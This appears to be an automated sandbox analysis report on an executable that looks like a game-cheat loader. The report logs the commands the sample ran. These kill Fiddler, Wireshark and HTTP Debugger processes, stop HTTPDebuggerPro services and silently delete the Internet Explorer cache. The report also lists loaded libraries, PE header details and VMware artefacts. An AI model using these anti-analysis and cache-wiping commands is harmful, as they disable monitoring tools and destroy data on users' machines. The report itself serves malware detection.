Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerProSdk >nul 2>&1	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq fiddler" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq wireshark" /IM /F /T	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /FI "IMAGENAME eq httpdebugger" /IM /F /T
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerProSdk

Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lvXRlexBnb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Section loaded: profapi.dll	Jump to behavior

Source: lvXRlexBnb.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: lvXRlexBnb.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: lvXRlexBnb.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: lvXRlexBnb.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\BRONKZ BACKUP 16 02 2024\Loaders C# Bronkz Private Store\Loader Valorant Plus\x64\Release\EpicGames.pdb source: lvXRlexBnb.exe

Source: lvXRlexBnb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: lvXRlexBnb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: lvXRlexBnb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: lvXRlexBnb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: lvXRlexBnb.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Code function: 0_2_00007FF79B708980 WSAStartup,WSACleanup,GetModuleHandleA,GetProcAddress,strpbrk,LoadLibraryA,GetProcAddress,LoadLibraryExA,GetSystemDirectoryA,malloc,GetSystemDirectoryA,LoadLibraryA,free,GetProcAddress,if_nametoindex,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoA,QueryPerformanceFrequency,

0_2_00007FF79B708980

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop HTTPDebuggerPro

Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-48666

Source: C:\Users\user\Desktop\lvXRlexBnb.exe

API coverage: 4.3 %

Source: Amcache.hve.38.dr	Binary or memory string: VMware
Source: Amcache.hve.38.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.38.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.38.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.38.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.38.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.38.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.38.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
